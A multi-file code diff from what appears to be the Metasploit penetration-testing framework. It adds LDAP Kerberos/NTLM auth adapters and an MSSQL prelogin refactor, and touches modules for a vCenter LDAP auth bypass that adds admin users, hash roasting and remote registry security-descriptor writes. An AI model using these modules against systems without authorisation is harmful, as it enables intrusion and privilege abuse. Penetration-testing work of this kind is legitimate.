gss_channel_binding: Rex::Proto::Gss::ChannelBinding.from_tls_cert(
@connection.socket.peer_cert
),
# when TLS channel binding is in use, disable the sign and seal flags
gss_flag_confidential: false,
gss_flag_integrity: false
}
end
kerberos_result = kerberos_authenticator.authenticate(options)
initial_credential = kerberos_result[:security_blob]
result = Net::LDAP::AuthAdapter::Sasl.new(@connection).bind(
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: initial_credential,
challenge_response: true
)
if auth[:sign_and_seal]
encryptor = Encryptor.new(kerberos_authenticator)
encryptor.setup(@connection, kerberos_result, result.result[:serverSaslCreds])
end
result
end
end
end
Net::LDAP::AuthAdapter.register(:rex_kerberos, Rex::Proto::LDAP::AuthAdapter::RexKerberos)
@@ -0,0 +1,69 @@
# frozen_string_literal: true
require 'rex/proto/ldap/auth_adapter'
module Rex::Proto::LDAP::AuthAdapter
class RexKerberos < Net::LDAP::AuthAdapter
# Provide the ability to "wrap" LDAP comms in a Kerberos encryption routine
# The methods herein are set up with the auth_context_setup call below,
# and are called when reading or writing needs to occur.
class Encryptor
include Rex::Proto::Gss::Asn1
# @param kerberos_authenticator [Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base] Kerberos authenticator
def initialize(kerberos_authenticator)
self.kerberos_authenticator = kerberos_authenticator
end
# Configure our encryption, and tell the LDAP connection object that we now want to intercept its calls
# to read and write
# @param ldap_connection [Net::LDAP::Connection]
# @param kerberos_result [Hash]
# @param gssapi_response [String,nil] GSS token containing the AP-REP from the server if mutual auth was used, or nil otherwise
def setup(ldap_connection, kerberos_result, gssapi_response)
spnego = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(gssapi_response)
if spnego.response_token.nil?
# No mutual auth result
self.kerberos_encryptor = kerberos_authenticator.get_message_encryptor(
kerberos_result[:session_key],
kerberos_result[:client_sequence_number],
nil,
use_acceptor_subkey: false
)
else
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(spnego.response_token, kerberos_result[:session_key])
self.kerberos_encryptor = kerberos_authenticator.get_message_encryptor(
mutual_auth_result[:ap_rep_subkey],
kerberos_result[:client_sequence_number],
mutual_auth_result[:server_sequence_number],
use_acceptor_subkey: true
)
end
ldap_connection.wrap_read_write(self.method(:read), self.method(:write))
end
# Decrypt the provided ciphertext
# @param ciphertext [String]
def read(ciphertext)
begin
plaintext = self.kerberos_encryptor.decrypt_and_verify(ciphertext)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => exception
raise Rex::Proto::LDAP::LdapException.new('Received invalid message (Kerberos signature verification failed)')
end
return plaintext
end
# Encrypt the provided plaintext
# @param data [String]
def write(data)
emessage, header_length, pad_length = self.kerberos_encryptor.encrypt_and_increment(data)
emessage
end
attr_accessor :kerberos_encryptor
attr_accessor :kerberos_authenticator
end
end
end
@@ -0,0 +1,65 @@
# frozen_string_literal: true
require 'net/ldap/auth_adapter'
require 'net/ldap/auth_adapter/sasl'
require 'rubyntlm'
module Rex::Proto::LDAP::AuthAdapter
class RexNTLM < Net::LDAP::AuthAdapter
def bind(auth)
flags = 0 |
RubySMB::NTLM::NEGOTIATE_FLAGS[:UNICODE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:REQUEST_TARGET] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:NTLM] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:ALWAYS_SIGN] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:EXTENDED_SECURITY] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:VERSION_INFO]
if auth[:sign_and_seal]
flags = flags |
RubySMB::NTLM::NEGOTIATE_FLAGS[:SIGN] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:SEAL] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY128] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY56]
end
ntlm_client = RubySMB::NTLM::Client.new(
(auth[:username].nil? ? '' : auth[:username]),
(auth[:password].nil? ? '' : auth[:password]),
workstation: 'WORKSTATION',
domain: auth[:domain].blank? ? '.' : auth[:domain],
flags: flags
)
challenge_response = proc do |challenge|
challenge.force_encoding(Encoding::BINARY)
type2_message = Net::NTLM::Message.parse(challenge)
channel_binding = nil
if @connection.socket.respond_to?(:peer_cert)
channel_binding = Rex::Proto::Gss::ChannelBinding.from_tls_cert(@connection.socket.peer_cert)
end
type3_message = ntlm_client.init_context(type2_message.encode64, channel_binding)
type3_message.serialize
end
result = Net::LDAP::AuthAdapter::Sasl.new(@connection).bind(
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: ntlm_client.init_context.serialize,
challenge_response: challenge_response
)
if auth[:sign_and_seal]
encryptor = Encryptor.new(ntlm_client)
encryptor.setup(@connection)
end
result
end
end
end
Net::LDAP::AuthAdapter.register(:rex_ntlm, Rex::Proto::LDAP::AuthAdapter::RexNTLM)
@@ -0,0 +1,47 @@
# frozen_string_literal: true
require 'rex/proto/ldap/auth_adapter'
module Rex::Proto::LDAP::AuthAdapter
class RexNTLM < Net::LDAP::AuthAdapter
# Provide the ability to "wrap" LDAP comms in an NTLM encryption routine
# The methods herein are set up with the auth_context_setup call below,
# and are called when reading or writing needs to occur.
class Encryptor
def initialize(ntlm_client)
self.ntlm_client = ntlm_client
end
# Configure our encryption, and tell the LDAP connection object that we now want to intercept its calls
# to read and write
# @param ldap_connection [Net::LDAP::Connection]
def setup(ldap_connection)
ldap_connection.wrap_read_write(self.method(:read), self.method(:write))
end
# Decrypt the provided ciphertext
# @param ciphertext [String]
def read(ciphertext)
message = ntlm_client.session.unseal_message(ciphertext[16..-1])
if ntlm_client.session.verify_signature(ciphertext[0..15], message)
return message
else
# Some error
raise Rex::Proto::LDAP::LdapException.new('Received invalid message (NTLM signature verification failed)')
end
end
# Encrypt the provided plaintext
# @param data [String]
def write(data)
emessage = ntlm_client.session.seal_message(data)
signature = ntlm_client.session.sign_message(data)
signature + emessage
end
attr_accessor :ntlm_client
end
end
end
+104
View File
@@ -0,0 +1,104 @@
require 'net/ldap'
module Rex
module Proto
module LDAP
# This is a Rex Proto wrapper around the Net::LDAP client which is currently coming from the 'net-ldap' gem.
# The purpose of this wrapper is to provide 'peerhost' and 'peerport' methods to ensure the client interfaces
# are consistent between various session clients.
class Client < Net::LDAP
# @return [Rex::Socket]
attr_reader :socket
def initialize(args)
@base_dn = args[:base]
super
end
# @return [Array<String>] LDAP servers naming contexts
def naming_contexts
@naming_contexts ||= search_root_dse[:namingcontexts]
end
# @return [String] LDAP servers Base DN
def base_dn
@base_dn ||= discover_base_dn
end
# @return [String, nil] LDAP servers Schema DN, nil if one isn't found
def schema_dn
@schema_dn ||= discover_schema_naming_context
end
# @return [String] The remote IP address that LDAP is running on
def peerhost
host
end
# @return [Integer] The remote port that LDAP is running on
def peerport
port
end
# @return [String] The remote peer information containing IP and port
def peerinfo
"#{peerhost}:#{peerport}"
end
# https://github.com/ruby-ldap/ruby-net-ldap/issues/11
# We want to keep the ldap connection open to use later
# but there's no built in way within the `Net::LDAP` library to do that
# so we're adding this function to do it instead
# @param connect_opts [Hash] Options for the LDAP connection.
def self._open(connect_opts)
client = new(connect_opts)
client._open
end
# https://github.com/ruby-ldap/ruby-net-ldap/issues/11
def _open
raise Net::LDAP::AlreadyOpenedError, 'Open already in progress' if @open_connection
instrument 'open.net_ldap' do |payload|
@open_connection = new_connection
@socket = @open_connection.socket
payload[:connection] = @open_connection
payload[:bind] = @result = @open_connection.bind(@auth)
return self
end
end
def discover_schema_naming_context
result = search(base: '', attributes: [:schemanamingcontext], scope: Net::LDAP::SearchScope_BaseObject)
if result.first && !result.first[:schemanamingcontext].empty?
schema_dn = result.first[:schemanamingcontext].first
ilog("#{peerinfo} Discovered Schema DN: #{schema_dn}")
return schema_dn
end
wlog("#{peerinfo} Could not discover Schema DN")
nil
end
def discover_base_dn
unless naming_contexts
elog("#{peerinfo} Base DN cannot be determined, no naming contexts available")
return
end
# NOTE: Find the first entry that starts with `DC=` as this will likely be the base DN.
result = naming_contexts.select { |context| context =~ /^([Dd][Cc]=[A-Za-z0-9-]+,?)+$/ }
.reject { |context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/ }
if result.blank?
elog("#{peerinfo} A base DN matching the expected format could not be found!")
return
end
base_dn = result[0]
dlog("#{peerinfo} Discovered base DN: #{base_dn}")
base_dn
end
end
end
end
end
+4
View File
@@ -0,0 +1,4 @@
module Rex::Proto::LDAP
class LdapException < RuntimeError
end
end
+19 -95
View File
@@ -115,10 +115,12 @@ module Rex
def detect_platform_and_arch
result = {}
server_vars = query('select @@version')[:rows][0][0]
version_string = query('select @@version')[:rows][0][0]
arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string
result[:arch] = map_compile_arch_to_architecture(server_vars)
result[:platform] = map_compile_os_to_platform(server_vars)
result[:arch] = map_compile_arch_to_architecture(arch)
result[:platform] = map_compile_os_to_platform(plat)
result
end
@@ -129,10 +131,7 @@ module Rex
#
def mssql_login(user='sa', pass='', db='', domain_name='')
disconnect if self.sock
connect
mssql_prelogin
prelogin_data = mssql_prelogin
if auth == Msf::Exploit::Remote::AuthOption::KERBEROS
idx = 0
pkt = ''
@@ -236,6 +235,7 @@ module Rex
info = {:errors => []}
info = mssql_parse_reply(resp, info)
self.initial_connection_info = info
self.initial_connection_info[:prelogin_data] = prelogin_data
return false if not info
return info[:login_ack] ? true : false
@@ -468,6 +468,7 @@ module Rex
info = {:errors => []}
info = mssql_parse_reply(resp, info)
self.initial_connection_info = info
self.initial_connection_info[:prelogin_data] = prelogin_data
return false if not info
info[:login_ack] ? true : false
@@ -477,85 +478,20 @@ module Rex
#this method send a prelogin packet and check if encryption is off
#
def mssql_prelogin(enc_error=false)
pkt = ""
pkt_hdr = ""
pkt_data_token = ""
pkt_data = ""
disconnect if self.sock
connect
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
version = [0x55010008, 0x0000].pack("Vv")
# if manually set, we will honour
if tdsencryption == true
encryption = ENCRYPT_ON
else
encryption = ENCRYPT_NOT_SUP
end
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0xFF
].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
pkt = mssql_prelogin_packet
resp = mssql_send_recv(pkt)
idx = 0
data = parse_prelogin_response(resp)
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
unless data[:encryption]
framework_module.print_error("Unable to parse encryption req " \
"during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
data[:encryption] = ENCRYPT_NOT_SUP
end
##########################################################
@@ -573,7 +509,7 @@ module Rex
#
##########################################################
if encryption_mode == ENCRYPT_REQ
if data[:encryption] == ENCRYPT_REQ
# restart prelogin process except that we tell SQL Server
# than we are now able to encrypt
disconnect if self.sock
@@ -586,27 +522,15 @@ module Rex
"been enabled based on server response.")
resp = mssql_send_recv(pkt)
data = parse_prelogin_response(resp)
idx = 0
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
unless data[:encryption]
framework_module.print_error("Unable to parse encryption req " \
"during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
data[:encryption] = ENCRYPT_NOT_SUP
end
end
encryption_mode
data
end
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
+82
View File
@@ -86,6 +86,88 @@ module ClientMixin
end
end
def mssql_prelogin_packet
pkt = ""
pkt_hdr = ""
pkt_data_token = ""
pkt_data = ""
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
version = [0x55010008, 0x0000].pack("Vv")
# if manually set, we will honour
if tdsencryption == true
encryption = ENCRYPT_ON
else
encryption = ENCRYPT_NOT_SUP
end
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0xFF
].pack('CnnCnnCnnCnnC')
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack('CCnnCC') + pkt_data
pkt
end
def parse_prelogin_response(resp)
data = {}
if resp.length > 5 # minimum size for response specification
version_index = resp.slice(1, 2).unpack('n')[0]
major = resp.slice(version_index, 1).unpack('C')[0]
minor = resp.slice(version_index+1, 1).unpack('C')[0]
build = resp.slice(version_index+2, 2).unpack('n')[0]
enc_index = resp.slice(6, 2).unpack('n')[0]
data[:encryption] = resp.slice(enc_index, 1).unpack('C')[0]
end
if major && minor && build
data[:version] = "#{major}.#{minor}.#{build}"
end
return data
end
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
+18
View File
@@ -0,0 +1,18 @@
module Rex::Proto::Sasl
# Wrap the data in a SASL structure, per RFC 4422 (basically just prepends a big-endian encoded 32-bit integer representing the length)
def wrap_sasl(data)
length = [data.length].pack('N')
length + data
end
# Unwraps the data from a SASL structure, per RFC 4422
def unwrap_sasl(data)
length = data[0,4].unpack('N')[0]
if length != data.length + 4
raise ArgumentError.new('Invalid SASL structure')
end
data[4,length]
end
end
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::MsIcpr
include Msf::Exploit::Remote::MsSamr
include Msf::Exploit::Remote::MsSamr::Computer
def initialize(info = {})
super(
@@ -258,7 +258,7 @@ class MetasploitModule < Msf::Auxiliary
quota = nil
begin
ldap_open do |ldap|
ldap_connection do |ldap|
ldap_options = {
filter: Net::LDAP::Filter.eq('objectclass', 'domainDNS'),
attributes: 'ms-DS-MachineAccountQuota',
@@ -290,7 +290,7 @@ class MetasploitModule < Msf::Auxiliary
print_error("#{peer} #{msg}")
end
def ldap_open
def ldap_connection
ldap_peer = "#{rhost}:#{datastore['LDAP_PORT']}"
base = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
ldap_options = {
@@ -327,7 +327,7 @@ class MetasploitModule < Msf::Auxiliary
end
def impersonate_dc(computer_name)
ldap_open do |ldap|
ldap_connection do |ldap|
dc_dnshostname = get_dnshostname(ldap, datastore['DC_NAME'])
print_status("Attempting to set the DNS hostname for the computer #{computer_name} to the DNS hostname for the DC: #{datastore['DC_NAME']}")
domain_to_ldif = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::MsSamr
include Msf::Exploit::Remote::MsSamr::Computer
include Msf::OptionalSession::SMB
def initialize(info = {})
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Auxiliary::Report
IGNORED_ATTRIBUTES = [
@@ -109,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
unless (@base_dn = ldap.base_dn)
fail_with(Failure::NotFound, "Couldn't discover base DN!")
end
end
@@ -118,10 +119,14 @@ class MetasploitModule < Msf::Auxiliary
send("action_#{action.name.downcase}")
print_good('The operation completed successfully!')
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def get_certificate_template
+9 -2
View File
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
@@ -138,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
unless (@base_dn = ldap.base_dn)
print_warning("Couldn't discover base DN!")
end
end
@@ -153,8 +154,14 @@ class MetasploitModule < Msf::Auxiliary
send("action_#{action.name.downcase}", obj)
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def action_read(obj)
@@ -5,8 +5,9 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
@@ -114,7 +115,9 @@ class MetasploitModule < Msf::Auxiliary
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
if (@base_dn = ldap.base_dn)
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
else
print_warning("Couldn't discover base DN!")
end
end
@@ -133,8 +136,14 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::UnexpectedReply, e.message)
end
end
rescue Errno::ECONNRESET
fail_with(Failure::Disconnected, 'The connection was reset.')
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::NoAccess, e.message)
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def action_list(obj)
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Exploit::Remote::CheckModule
def initialize(info = {})
@@ -42,6 +43,7 @@ class MetasploitModule < Msf::Auxiliary
'DefaultAction' => 'Add',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 636, # SSL/TLS
'CheckModule' => 'auxiliary/gather/vmware_vcenter_vmdir_ldap'
},
'Notes' => {
@@ -53,10 +55,9 @@ class MetasploitModule < Msf::Auxiliary
)
register_options([
Opt::RPORT(636), # SSL/TLS
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('NEW_USERNAME', [false, 'Username of admin user to add']),
OptString.new('NEW_PASSWORD', [false, 'Password of admin user to add'])
OptString.new('NEW_USERNAME', [true, 'Username of admin user to add']),
OptString.new('NEW_PASSWORD', [true, 'Password of admin user to add'])
])
end
@@ -99,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary
end
ldap_connect do |ldap|
print_status("Bypassing LDAP auth in vmdir service at #{peer}")
print_status("Bypassing LDAP auth in vmdir service at #{ldap.peerinfo}")
auth_bypass(ldap)
print_status("Adding admin user #{new_username} with password #{new_password}")
+1 -1
View File
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary
def run
print_status("Running MS SQL Server Enumeration...")
if session
set_session(session.client)
set_mssql_session(session.client)
else
unless mssql_login_datastore
print_error("Login was unsuccessful. Check your credentials.")
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary
def run
# Check connection and issue initial query
if session
set_session(session.client)
set_mssql_session(session.client)
else
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary
def run
if session
set_session(session.client)
set_mssql_session(session.client)
else
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
+1 -1
View File
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary
def run
if session
set_session(session.client)
set_mssql_session(session.client)
else
unless mssql_login_datastore
print_error("Error with mssql_login call")
@@ -342,7 +342,7 @@ class MetasploitModule < Msf::Auxiliary
# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
begin
if session
set_session(session.client)
set_mssql_session(session.client)
else
print_line(" ")
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
+1 -1
View File
@@ -88,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
begin
if session
set_session(session.client)
set_mssql_session(session.client)
else
unless mssql_login_datastore
print_error('Login failed')
+1 -1
View File
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
def run
if session
set_session(session.client)
set_mssql_session(session.client)
else
unless mssql_login_datastore
print_error("Error with mssql_login call")
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
begin
if session
set_session(session.client)
set_mssql_session(session.client)
else
unless mssql_login_datastore
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials")
@@ -0,0 +1,168 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::OptionalSession::SMB
include Msf::Util::WindowsRegistry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Registry Security Descriptor Utility',
'Description' => %q{
Read or write a Windows registry security descriptor remotely.
In READ mode, the `FILE` option can be set to specify where the
security descriptor should be written to.
The following format is used:
```
key: <registry key>
security_info: <security information>
sd: <security descriptor as a hex string>
```
In WRITE mode, the `FILE` option can be used to specify the information
needed to write the security descriptor to the remote registry. The file must
follow the same format as described above.
},
'Author' => [
'Christophe De La Fuente'
],
'License' => MSF_LICENSE,
'Actions' => [
[ 'READ', { 'Description' => 'Read a Windows registry security descriptor' } ],
[ 'WRITE', { 'Description' => 'Write a Windows registry security descriptor' } ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [CONFIG_CHANGES]
},
'DefaultAction' => 'READ'
)
)
register_options(
[
OptString.new('KEY', [ false, 'Registry key to read or write' ]),
OptString.new('SD', [ false, 'Security Descriptor to write as a hex string' ], conditions: %w[ACTION == WRITE], regex: /^([a-fA-F0-9]{2})+$/),
OptInt.new('SECURITY_INFORMATION', [
true,
'Security Information to read or write (see '\
'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343 '\
'(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION)',
RubySMB::Field::SecurityDescriptor::OWNER_SECURITY_INFORMATION |
RubySMB::Field::SecurityDescriptor::GROUP_SECURITY_INFORMATION |
RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION
]),
OptString.new('FILE', [
false,
'File path to store the security descriptor when reading or source file path used to write the security descriptor when writing'
])
]
)
end
def do_connect
if session
print_status("Using existing session #{session.sid}")
client = session.client
self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
simple.connect("\\\\#{simple.address}\\IPC$")
else
connect
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
end
report_service(
host: simple.address,
port: simple.port,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
)
begin
@tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
end
begin
@winreg = @tree.open_file(filename: 'winreg', write: true, read: true)
@winreg.bind(endpoint: RubySMB::Dcerpc::Winreg)
rescue RubySMB::Error::RubySMBError => e
fail_with(Module::Failure::Unreachable, "Error when connecting to 'winreg' interface ([#{e.class}] #{e}).")
end
end
def run
do_connect
case action.name
when 'READ'
action_read
when 'WRITE'
action_write
else
print_error("Unknown action #{action.name}")
end
ensure
@winreg.close if @winreg
@tree.disconnect! if @tree
# Don't disconnect the client if it's coming from the session so it can be reused
unless session
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
disconnect
end
end
def action_read
fail_with(Failure::BadConfig, 'Unknown registry key, please set the `KEY` option') if datastore['KEY'].blank?
sd = @winreg.get_key_security_descriptor(datastore['KEY'], datastore['SECURITY_INFORMATION'], bind: false)
print_good("Raw security descriptor for #{datastore['KEY']}: #{sd.bytes.map { |c| '%02x' % c.ord }.join}")
unless datastore['FILE'].blank?
remote_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam)
remote_reg.save_to_file(datastore['KEY'], sd, datastore['SECURITY_INFORMATION'], datastore['FILE'])
print_good("Saved to file #{datastore['FILE']}")
end
end
def action_write
if datastore['FILE'].blank?
fail_with(Failure::BadConfig, 'Unknown security descriptor, please set the `SD` option') if datastore['SD'].blank?
fail_with(Failure::BadConfig, 'Unknown registry key, please set the `KEY` option') if datastore['KEY'].blank?
sd = datastore['SD']
key = datastore['KEY']
security_info = datastore['SECURITY_INFORMATION']
else
print_status("Getting security descriptor info from file #{datastore['FILE']}")
remote_reg = Msf::Util::WindowsRegistry::RemoteRegistry.new(@winreg, name: :sam)
sd_info = remote_reg.read_from_file(datastore['FILE'])
sd = sd_info['sd']
key = sd_info['key']
security_info = sd_info['security_info']
vprint_line(" key: #{key}")
vprint_line(" security information: #{security_info}")
vprint_line(" security descriptor: #{sd}")
end
sd = sd.chars.each_slice(2).map { |c| c.join.to_i(16).chr }.join
@winreg.set_key_security_descriptor(key, sd, security_info, bind: false)
print_good("Security descriptor set for #{key}")
rescue RubySMB::Dcerpc::Error::WinregError => e
fail_with(Failure::Unknown, "Unable to set the security descriptor for #{key}: #{e}")
end
end
+3 -6
View File
@@ -42,12 +42,9 @@ class MetasploitModule < Msf::Auxiliary
print_status("Running the simple auxiliary module with action #{action.name}")
end
# auxiliary modules can register new commands, they all call cmd_* to
# dispatch them
def auxiliary_commands
{ 'aux_extra_command' => 'Run this auxiliary test commmand' }
end
# Framework automatically registers `cmd_*` methods to be dispatched when the
# corresponding command is used. For example, here this method will be called
# when entering the `aux_extra_command` command in the console.
def cmd_aux_extra_command(*args)
print_status("Running inside aux_extra_command(#{args.join(' ')})")
end
+10 -3
View File
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Kerberos::Client
include Msf::Exploit::Remote::LDAP
include Msf::Exploit::Remote::LDAP::Queries
include Msf::OptionalSession::LDAP
def initialize(info = {})
super(
@@ -42,11 +43,16 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),
OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
OptString.new('Rhostname', [ true, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
]
)
register_option_group(name: 'SESSION',
description: 'Used when connecting to LDAP over an existing SESSION',
option_names: %w[RHOSTS],
required_options: %w[SESSION RHOSTS])
register_advanced_options(
[
OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
@@ -99,11 +105,11 @@ class MetasploitModule < Msf::Auxiliary
ldap_connect do |ldap|
validate_bind_success!(ldap)
unless (base_dn = discover_base_dn(ldap))
